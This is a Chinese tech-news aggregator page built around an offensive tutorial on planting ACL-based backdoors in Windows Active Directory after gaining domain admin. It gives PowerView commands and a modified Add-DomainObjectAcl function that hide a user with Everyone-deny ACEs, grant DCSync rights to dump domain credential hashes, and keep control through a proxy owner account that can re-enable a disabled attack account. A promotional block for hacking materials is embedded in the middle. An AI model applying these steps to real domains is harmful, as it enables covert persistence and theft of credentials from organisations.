最新要闻
- 当前热点-灵感来自微信:微软计划开发一站式“超级应用”
- 环球即时看!惊险!SUV被货车顶上铁轨 火车驶来瞬间逃离
- 玩家们都嫌太贵!曝英伟达考虑将RTX 4080降价
- 世界讯息:AI生成裸照谁之过?真相恐怕和你想的不一样
- 3小时超值!《阿凡达2》电影票价普遍低于50元 IMAX版80元
- “抽烟哥”红到国外 田协紧急倡议应积极正向:全马冲进3个半小时是狠人
- 世界百事通!RTX 4080全球销售疲软:太贵了我再等等
- 《阿凡达2》伦敦首映式
- 惊险一幕!后车记录仪拍下特斯拉失控瞬间 网友分析司机被特斯拉辅助“救”两次
- 今日大雪:仲冬时节正式开始 全国大部气温回升雨雪稀少
- 每日观察!《原神》3.3版本今日上线:风元素新角色来了 还有原石可领
- 葡萄牙6-1大胜瑞士 C罗31场首发终结:加练千个西班牙点球大战仍出局 连续三届无缘8强
- 看齐QQ音乐?Apple Music新功能来了:支持iPhone、iPad唱卡拉OK
- 安兔兔11月iOS设备好评榜出炉:iPhone 14全系未上榜
- 世界今亮点!不止是中药 连花清瘟新专利来了 可用于制作口罩、内衣、防护服等
- 时讯:200元耳机降噪效果比肩2000元!贝壳王子MO3 2代上手:同价位天花板
手机
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
票房这么火爆,如何请视障人士“看”一场电影?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
- 票房这么火爆,如何请视障人士“看”一场电影?
家电
如何在Windows AD域中驻留ACL后门
前言
当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL
的后门。
ACL介绍
ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。
安全描述符包含与安全对象关联的安全信息。 安全描述符由SECURITY_DESCRIPTOR结构和关联的安全信息组成。 安全描述符可以包含以下安全信息::
(资料图片仅供参考)
1、对象所有者和主组的安全标识符(SID) 。
2、指定允许或拒绝特定用户或组的访问权限的DACL。
3、一个SACL,指定为对象生成审核记录的访问尝试的类型。
4、一组控制位,用于限定安全描述符或其单个成员的含义。
隐藏安全描述符
当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组:
可以在GUI上对所有者进行修改,也可以使用powerview
进行修改:
Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo
修改完成后:
因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo
用户Deny
所有权限的ACL,但是发现powerview
的Add-DomainObjectAcl
方法并没有设置Deny
权限的操作,只有Allow
:
当然,你可以使用New-ADObjectAccessControlEntry
来完成手动ACL的添加,他的原理如下图:
上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl
已经完成了自动化的CommitChanges
,直接把Allow
默认可变的参数不就行了?首先手动在Add-DomainObjectAcl
添加一个AccessControlType
参数:
.PARAMETER AccessControlTypeSpecifies the type of ACE (allow or deny)
设置参数定义:
[Parameter(Mandatory = $True, ParameterSetName="AccessRuleType")][ValidateSet("Allow", "Deny")][String[]]$AccessControlType,
删除之前的默认的Allow
:
最后把AccessControlType
参数替换之前的ControlType
:
现在就可以在使用AccessControlType
参数来给对象添加Allow
或者Deny
的权限了。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
当尝试域管添加一个对jumbo
用户Deny
所有权限的ACL后:
Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny
当然,把SID
改成SamAccountName
也是可以的:
Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny
可以发现域管也没权限查看jumbo
用户的属性了:
当使用system
用户查看jumbo
用户ACL时,可以看到对应的Deny
的ACL:
现在域管对jumbo
用户已经无法操作任何东西了,先用system
用户删除该Deny
权限,准备使用powerview
的Remove-DomainObjectAcl
方法时,发现也只有的Allow
,也就是默认只能移除对象的Allow
权限,老方法,把删除的ACL属性设置为可变参数:
进行删除:
Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny
当然,把SID
改成SamAccountName
也是可以的:
Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny
那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo
用户的拥有者改成默认的域管组,然后对域管进行设置Deny
的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo
拥有者设置为jumbo
的目的:
上面尝试了拒绝域管对jumbo
所有的权限,那为了隐藏,并且为了防止后续还要对jumbo
用户的一些其他修改,实际上可以对jumbo
用户设置everyone
拒绝读取的权限即可:
现在所有用户对其都没有查看权限了:
当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的:
现在通过net user
命令已经看不到jumbo
这个用户了:
在“用户和计算机”里看用户长这样:
从上面的操作可以发现,给everyone
用户添加拒绝读取权限时是通过GUI实现的,因为everyone
用户是个特殊的用户,属于特殊身份群体,是一个属于Well-known SIDs的用户,其对应的SID为S-1-1-0
:
当尝试使用powerview
的Add-DomainObjectAcl
方法是无法完成给everyone
用户添加ACL的:
通过查看powerview
的代码,会通过Get-ObjectAcl
方法获取对应用户的SID,但是刚刚提到,everyone
用户是个特殊的用户,导致查不到:
但是看了下还有个New-ADObjectAccessControlEntry
方法,会判断输入的PrincipalIdentity
参数是不是SID
,如果是SID
就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl
方法中:
if ($PrincipalIdentity -notmatch "^S-1-.*") { $PrincipalSearcherArguments = @{ "Identity" = $PrincipalIdentity "Properties" = "distinguishedname,objectsid" } if ($PSBoundParameters["PrincipalDomain"]) { $PrincipalSearcherArguments["Domain"] = $PrincipalDomain } if ($PSBoundParameters["Server"]) { $PrincipalSearcherArguments["Server"] = $Server } if ($PSBoundParameters["SearchScope"]) { $PrincipalSearcherArguments["SearchScope"] = $SearchScope } if ($PSBoundParameters["ResultPageSize"]) { $PrincipalSearcherArguments["ResultPageSize"] = $ResultPageSize } if ($PSBoundParameters["ServerTimeLimit"]) { $PrincipalSearcherArguments["ServerTimeLimit"] = $ServerTimeLimit } if ($PSBoundParameters["Tombstone"]) { $PrincipalSearcherArguments["Tombstone"] = $Tombstone } if ($PSBoundParameters["Credential"]) { $PrincipalSearcherArguments["Credential"] = $Credential } $Principal = Get-DomainObject @PrincipalSearcherArguments if (-not $Principal) { throw "Unable to resolve principal: $PrincipalIdentity" } elseif($Principal.Count -gt 1) { throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" } $ObjectSid = $Principal.objectsid Write-Host ($ObjectSid) } else { Write-Host "..sid.." $ObjectSid = $PrincipalIdentity } $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid)
现在尝试下,给jumbo2
用户添加everyone
所有拒绝的ACL:
Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
Remove-DomainObjectAcl
方法同理。
隐藏主体
通过上面的步骤,除了jumbo
用户本身可以查看jumbo
用户以为,其他用户都没有ReadControl
权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico
图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo
用户移到一个单独的OU
组里:
然后给这个OU
设置everyone
拒绝读取权限即可:
遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。
Dcsync
Dcsync
实际上就是给用户设置两条扩展权限,分别为:
DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
当用户拥有这两条ACL后,即可使用DRS
协议获取域hash
凭据。给用户在域对象上添加Dcsync
权限即可:
代理账号
上面提到,把jumbo
用户拥有者改成自身,然后设置everyone
对其没有读取权限,这样就可以达到隐藏jumbo
,然后手上的jumbo
用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync
类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。
首先攻击账号为attack
,代理账号为good
,首先设置attack
账号所有者为good
:
Set-DomainObjectOwner -identity attack -OwnerIdentity good
给attack
账号添加dcsync
权限:
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow
设置attack
都不可操作:
Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny
这个时候,如果attack
在发起攻击的时候被管理员发现了,把attack
账号密码重置了,但是good
账号是attack
账号的拥有者,可以修改attack
账号的ACL
,比如给自己添加修改密码的权限,然后去重置attack
账号的密码,然后就又可以拿来攻击了。
总结
本文主要讲了在Windows
域中如何利用ACL
进行后门隐藏,并对powerview
进行修改使其支持在添加ACL
或者删除ACL
时可以指定Allow
或者Deny
,也可以选择everyone
此类特殊用户。
更多靶场实验练习、网安学习资料,请点击这里>>
如何在Windows AD域中驻留ACL后门
当前热点-灵感来自微信:微软计划开发一站式“超级应用”
环球即时看!惊险!SUV被货车顶上铁轨 火车驶来瞬间逃离
玩家们都嫌太贵!曝英伟达考虑将RTX 4080降价
世界讯息:AI生成裸照谁之过?真相恐怕和你想的不一样
3小时超值!《阿凡达2》电影票价普遍低于50元 IMAX版80元
Redis 的 keys 命令你知道有多慢吗?
“抽烟哥”红到国外 田协紧急倡议应积极正向:全马冲进3个半小时是狠人
世界百事通!RTX 4080全球销售疲软:太贵了我再等等
《阿凡达2》伦敦首映式
惊险一幕!后车记录仪拍下特斯拉失控瞬间 网友分析司机被特斯拉辅助“救”两次
今日大雪:仲冬时节正式开始 全国大部气温回升雨雪稀少
每日观察!《原神》3.3版本今日上线:风元素新角色来了 还有原石可领
葡萄牙6-1大胜瑞士 C罗31场首发终结:加练千个西班牙点球大战仍出局 连续三届无缘8强
看齐QQ音乐?Apple Music新功能来了:支持iPhone、iPad唱卡拉OK
安兔兔11月iOS设备好评榜出炉:iPhone 14全系未上榜
SpringBoot构建RESTful风格应用
环球速讯:Kubernetes单机创建MySQL+Tomcat演示程序:《Kubernetes权威指南》第一章demo报错踩坑
全球最新:npm或者yarn安装sharp太慢、失败等问题
世界今亮点!不止是中药 连花清瘟新专利来了 可用于制作口罩、内衣、防护服等
时讯:200元耳机降噪效果比肩2000元!贝壳王子MO3 2代上手:同价位天花板
全国单日票房一度超4000万元:《阿凡达2》万众期待
热门:快升级5G!明年4G网速体验更糟糕:原因很无解
54年了!波音747飞机正式停产 一记录保持37年
焦点播报:MAUI新生3.4-深入理解XAML:数据模板DataTemplate
环球观热点:生成器函数
当前视点!Kubernetes configmap 笔记
画家要失业了?PS母公司Adobe开卖AI图片:侵权赔偿也自己扛
为什么海底火山不会被海水浇灭?
Javascript-极速入门指南-2-BOM与DOM操作-jQuery简介
54个CSS重难点整理,12-24篇,进阶高薪必需要掌握的知识点
国产CPU与国产OS联合 阿里平头哥加入openKylin社区
男子iPhone 13 Pro不到三个月自燃 法院:商品不符合质量要求 可以换新
全球热点!java创建线程的唯一方式
第一百一十篇:内存泄漏和垃圾回收(JS)
新资讯:《阿凡达2》获知名制作人小岛秀夫好评点赞:能够让人焕发激情
当前滚动:进军PC配件!一加将推出旗下首款机械键盘
《巫师3》次时代版“史诗升级”:官方Mod工具终于来了
AMD RX 7900又一非公卡亮相:档次上去了
每日热文:女子被绑浇墨汁?官方:自导自演 直播网红为赚流量博人眼球将严惩
left jon连接查询踩坑记
全球观热点:AMD RX 7900首批供货非常紧张!某品牌明年才能有
环球讯息:约4.1万人民币 法国一公司推出氢能电动自行车:像是助力车
环球焦点!一加11渲染图被网友恶搞:辨识度拉满
中国超越德国成全球第二大出口国!比亚迪自建船队引关注
世界快看点丨福建一景区回应多人推山顶“风动石”:重几十吨 风能吹动人推不动它
天天微头条丨没开发人员,接到开发物联网系统的活儿,干不干?
当前快讯:大笔加码越南!三星电子和LG将追加投资数十亿美元建厂
世界观点:惊了!研究发现蚂蚁竟也产奶 难道它也是哺乳动物?
1.7米长 从头裹到脚:洁丽雅加厚加大浴巾29元抄底
天天快播:“售后、周转、维护” 电动自行车换电池“三不要”
环球微动态丨移动端硬件实时光追落地!第二代骁龙8让游戏画面更逼真
快讯:全同态加密是否完美?
力扣刷题03
热门看点:MySQ 8.0 推出直方图,性能大大提升!
记录--uniapp自定义相机 自定义界面拍照录像闪光灯切换摄像头
世界视点!浙里办单点登陆、令牌获取用户信息
【全球热闻】iOS开发证书发布证书,推送证书,描述文件的生成总集(一)
世界今热点:AirPods Pro 2立大功!苹果占据31%真无线耳机市场
天天热议:网友吐槽买瓶饮料都要下载APP 网友:是我我扭头就走
全球热点!Chrome更新置顶横幅通知:明确不再支持Win7/8.1平台
环球速看:价格屠夫 小米4K双99%色域专业显示器2399元(首发3499)
天天快播:日本队更衣室留千纸鹤表感谢!国际足联再感谢日本球迷清理看台引热议 高素质
世界快讯:日产回应车机更新显示文案待定:车联网激活才可正常使用
手机端光追将至:Basemark推出首个移动设备光追基准测试
奇瑞汽车站起来了!连续6月销量超10万 破百万辆大关
小太阳取暖忘断电7分钟烧掉整间屋!官方科普冬季电器使用指南
世界焦点!买到运损保时捷女子要求退一赔三!判了:退车4S店再赔20万
焦点快播:吃肉最毁环境、很不环保?国外动物保护主义者抗议肉食让吃素
“不良剧情直播”污人眼球 抖音出手:禁止虚假炒作、已处罚9万多账号
天天热点!醉驾男遇上碰瓷女:给五万要私了嫌贵 结果双双被拘
4比1送走韩国 巴西球员轮流摸罗纳尔多双腿蹭欧气 “小熊”说要继续跳舞直到决赛
环球微动态丨告别半斤机!小米13全系机身数据出炉:陶瓷/玻璃/素皮集齐了
4比1大胜韩国 巴西队赛后集体为球王贝利祈福 女儿称正从肺部感染康复
咖喱味越来越浓!消息称苹果调整产业链 国行iPhone/iPad印度产会变多
小米13系列海报曝光!标准版设计如何 跟Pro差别较大
环球速讯:网飞期待《狩魔猎人》新季新气象
每日焦点!开眼了!丰田为电动车推出“手动挡”结构 雷克萨斯实车跑山演示
【天天新视野】全球首发第二代骁龙8!vivo X90 Pro+开售:12+512GB顶配6999元
”摆烂模式“成牛津词典2022年度词 今天你摆烂了吗?
环球讯息:韩国球迷用7比1嘲讽巴西最后惨败 亚洲一哥孙兴慜称尽力:网友直言自取其辱
天天视点!7399买吗?AMD RX 7900XTX性能首曝光:对比4080/90结果意外
【全球时快讯】比亚迪纯电神车海豚哥伦比亚发布:405km续航、搭刀片电池
全球热文:11月新能源汽车销量再创新高:比亚迪一骑绝尘 甩远特斯拉
世界热头条丨市场仍低迷!预计2022年全球智能手机出货量下降9.1%
【独家】柯洁直播透露斥巨资进军餐饮:光装修花了1800万 品质、价位无敌
世界今热点:日本点球战2-4负克罗地亚、巴西4-1大胜韩国:亚洲球队世界杯全部出局
“侃爷”怀疑马斯克是半个中国人!本人神回应
你每天都在用的餐具 用错等于慢性“投毒”!小心这7类材料
中国人搞锂到底有多狠?美国都开始耍花招了!
天天日报丨当年那些卖伟哥的垃圾邮件:一天就能赚7000美元!
观焦点:100年前的导演拍出“摘头”特效:就问你服不服
快报:网传上海工厂将主动减产20% 特斯拉回应:不实消息
今热点:长沙一SUV高速上失控狂飙500公里引热议 刹车为何同时失灵?专家释疑
小米上一代旗舰12S Pro降至4699元!传小米13也差不多卖这价
世界微动态丨电费飙升 日本最强超算用不上起了:临时关闭30%节点
2022十佳游戏公布:第一名《战神5》
全球要闻:女子头胎生龙凤胎 2胎又生双胞胎:众网友顶礼膜拜
国服花落谁家?暴雪心血大作《暗黑破坏神4》:要正式来了
NVIDIA坐不住了:要用1年时间干掉游戏显卡市场一切乱象